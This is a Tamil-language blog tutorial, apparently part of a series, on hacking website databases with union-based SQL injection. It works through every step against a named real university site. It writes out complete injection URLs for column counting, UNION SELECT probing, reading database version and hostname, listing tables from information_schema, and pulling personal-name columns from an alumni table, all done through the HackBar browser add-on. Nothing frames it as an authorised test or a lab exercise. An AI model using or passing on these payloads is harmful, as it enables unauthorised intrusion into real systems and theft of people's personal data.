Website-ன் DATABASE-ஐ Hack செய்வது எப்படி?

சென்ற பதிவில் நாம் SQLI VULN Site-ஐ கண்டறிவது எப்படி?..என்றுபார்த்தோம். இந்த பதிவில், அந்த Site-ல் உள்ள DATABASE-ல் உள்ள தகவல்களை எடுப்பது எப்படி என்று பார்ப்போம்..  நான் இந்த பதிவை videotutorial ஆகவும் பதிவு செய்து Youtube-ல் உள்ளது.



இந்த பதிவில் நான் எடுத்து கொண்ட Site http://som.adzu.edu.ph/newsupdates/index.php?id=1 
  

STEP 1  நாம்  Site-ஐ Hack செய்வத்ற்கு முன்னால் HackBar என்ற Tool  நமக்கு தேவை.. HackBar என்பது Mozilla Firefox-ல் install செய்ய கூடிய ADDON…
இதில்  நமக்கு SQL Injection செய்ய தேவையான அனைத்தும் command-களும் உள்ளது.
HACKBAR-ஐ DOWNLOAD செய்ய.
                     
இப்பொது நாம்  1st command-ஐ பார்ப்போம்.முதலில் Site-ன் database-ல் எத்தனை columns இருக்கிறது என்று பார்க்க வேண்டும்.

HACKBAR-ல் Site URL உடன் ORDER+BY+10--+ என TYPE செய்து Execute கொடுக்கவும்.இப்பொது உங்களுக்கு Unknown column '10' in 'order clause' என்ற Error காட்டும்.

Unknown column '10' in 'order clause' என்பது 10-வது Column  Database-ல் இல்லை என்று காட்டுகிறது.

பிறகு ORDER+BY+9 என TYPE செய்து Execute கொடுக்கவும்.இப்பொது உங்களுக்கு Unknown column '9' in 'order clause' Error காட்டும்.

எப்பொதும் ORDER+BY+ command-ஐ பயன்படுத்தும் போதும் 10லிருந்து  குறைத்து கொண்டுவாருங்கள், அதாவது ORDER+BY+10+, ORDER+BY+9--+





http://som.adzu.edu.ph/newsupdates/index.php?id=1+ORDER+BY+8--+    = Error




இப்போது ORDER+BY+6-ல் எந்த Error-ம் காட்டபடாமல் Normal ஆக Site load ஆகும்.இதற்கு என்ன அர்த்தம் என்றால், இந்த  Site-ன் Database-ல் 6 Column-தான் உள்ளது.
  --+ இரண்டு Link-ஐ Join & Break செய்ய பயன்படுகிறது...அதை பற்றி Video-ல் தெளிவாக கூறப்பட்டுள்ளது.ஆகவே  Video-வை காணுங்கள்.

2nd command-ஐ பார்ப்போம் ,இப்பொது நாம் இந்த DATABASE-ல் உள்ள Vulnerble Columns-ஐ கண்டறிவது எப்படி என்று பார்க்கலாம்.

 இந்த முறை Site Link உடன் UNION+ALL+SELECT என்ற command உடன், நாம் ஏற்கனவே கண்டுபித்து வைத்திருந்த Column  எண்ணிக்கையை  கொடுக்க வேண்டும்.

http://som.adzu.edu.ph/newsupdates/index.php?id=-1+UNION+ALL+SELECT+ 1,2,3,4,5,6--+
HACK BAR-ல் UNION+ALL+SELECT செய்ய படத்தில் காட்டியுள்ளபடி செய்யவும்.

குறிப்பு: http://som.adzu.edu.ph/newsupdates/index.php?id=1, என்ற Vulnerable Link-ல் id=1 என்று இருக்கும்,ஆனால் நாம் id= அடுத்ததாக
”-”கொடுத்து பிறகு 1 கொடுக்கவும்.இப்பொது Execute கொடுத்து பார்த்தால் சில vulnerable Columns  காட்டப்படும்.



3rd command-
அடுத்தது நாம் இந்த DATABASE-ன் Basic Information-ஐ எடுப்பது எப்படி என்று பார்ப்போம்.
Basic Information-ஐ கண்டறிய சில command-கள் உள்ளது அதை பார்ப்போம்.
                    @@version, system_user(),               @@database,@@hostname ,@@datadir

@@version இது DATABASE-ன் version-ஐ காட்டும்.

@@system_user இது DATABASE-ன் system_user-ஐ காட்டும்.

@@hostname இது DATABASE-ன் hostname-ஐ காட்டும். ஏற்கனவே கண்டுபிடித்து வைத்திதிந்த Vulnerable Columns  -ல் இந்த command-ஐ
கொடுப்பதன் மூலம் Basic Information-ஐ கண்டறியலாம்.

 http://som.adzu.edu.ph/newsupdates/index.php?id=-1+UNION+ALL+SELECT+ 1, @@version,@@system_user,@@hostname,5,6--+ இப்பொது Execute கொடுத்து பார்த்தால். Vulnerble Columns  2,3,4 எனக்காட்டும்.
                                     
4th command
அடுத்தது நாம் இந்த DATABASE-ல் உள்ள Table-  களை Extractசெய்வது எப்படி என்று பார்க்கலாம்.

   அதற்கு நாம் ,group_concat(table_name) மற்றும் from+information_schema.tables+where+table_schema=database()--+
 என்ற command பயன்படுத்த போகிறோம்.

ஏற்கனவே கண்டுபிடித்து வைத்திதிந்த Vulnerble Column-ல்  group_concat(table_name) என்ற command உள்ளிட வேண்டும்.அதன் பிறகு




from+information_schema.tables+where+table_schema=database()--+ என்ற command-ஐ உள்ளிட வேண்டும்.  http://som.adzu.edu.ph/newsupdates/index.phpid=-1+UNION+SELECT+1,2,3,group_concat(table_name),5,6+from+information_schema.tables+where+table_schema=database()--+இப்பொது Execute கொடுத்து பார்த்தால் .உங்களுக்கு  DATABASE-ல் உள்ள  Table-களை காட்டும்.

5th command

அடுத்தது  நாம் Table-ல் உள்ள Columns-ஐ Extract-செய்வது எப்படி என்று பார்க்கலாம்.

 Table-ஐ கண்டுபிடிக்க பயன்படுத்திய command-ல் சில மாற்றங்களை செய்து, Columns-ஐ Extract-செய்ய போகிறோம்.

  Table-ஐ கண்டுபிடிக்க பயன்படுத்திய  command-யும் , இந்த command-யும் ஒப்பிட்டு பார்த்தால் உங்களுக்கு புரியும்.
   
UNION+SELECT+1,2,3,group_concat(column_name),5,6+from+information_schema.columns+where+table_name=


இந்த command-ன் கடைசியில் =பிறகு உங்களுக்கு தேவையான Table-ஐ கொடுக்கவும். நான் alumini என்ற Table-ஐ கொடுத்து அதை
MYSQL CHAR() ஆக Convert செய்ய வேண்டும். MYSQL CHAR()  ஆக Convert செய்ய HACK BAR-ல் SQL BASICS-ல் MYSQL CHAR()  என்று இருக்கும் அதை Select செய்தால் போதும்.



http://som.adzu.edu.ph/newsupdates/index.php?id=-1+UNION+SELECT+1,2,group_concat(column_name),4,5,6+from+information_schema.columns+where+table_name=CHAR(97, 108, 117, 109, 110, 105)

6th command


சரி இப்போது நாம் அந்த  Column-ல் என்ன DATA இருக்கிறது என்று பார்க்கலாம்.

சென்ற முறை Columns-ஐ Extract-செய்தபோது id,last_name,first_name,middle_name,  என்று சில Column கிடைத்திருக்கும், அந்த  Column-ல் என்ன DATA வை காண group_concat-ல் தேவையான Column-ஐ கொடுக்க வேண்டும்.

group_concat(id,last_name,first_name,middle_name).அடுத்தது+from+உடன் நாம் பயன்படுத்திய  Table NAME-ஐ கொடுக்க வேண்டும்.
 நாம் இந்த பதிவு முழுவதும் பயன்படுத்தைய Table alumni. பிறகு group_concat-உள்ளே கொடுத்த (id,last_name,first_name,middle_name)ஆகியவற்றை
HEX-ஆக Conver செய்ய வேண்டும். HEX-ஆக Conver செய்ய HACK BAR-ல் Conver-ஐ CLICK செய்ய வேண்டும்.


HEX-ஆக Conver செய்த பிறகு.




இது தான் SQL Injection UnionBased Method ஆகும். இ ந்த பதிவு 
உங்களுக்கு புரிய வில்லை என்றால் VIDEO-வை பார்த்தால் உங்களுக்கு புரியும்.
                                             
                                               
                                               WATCH FULL VIDEO TUTORIAL


   











                                                             









2 comments: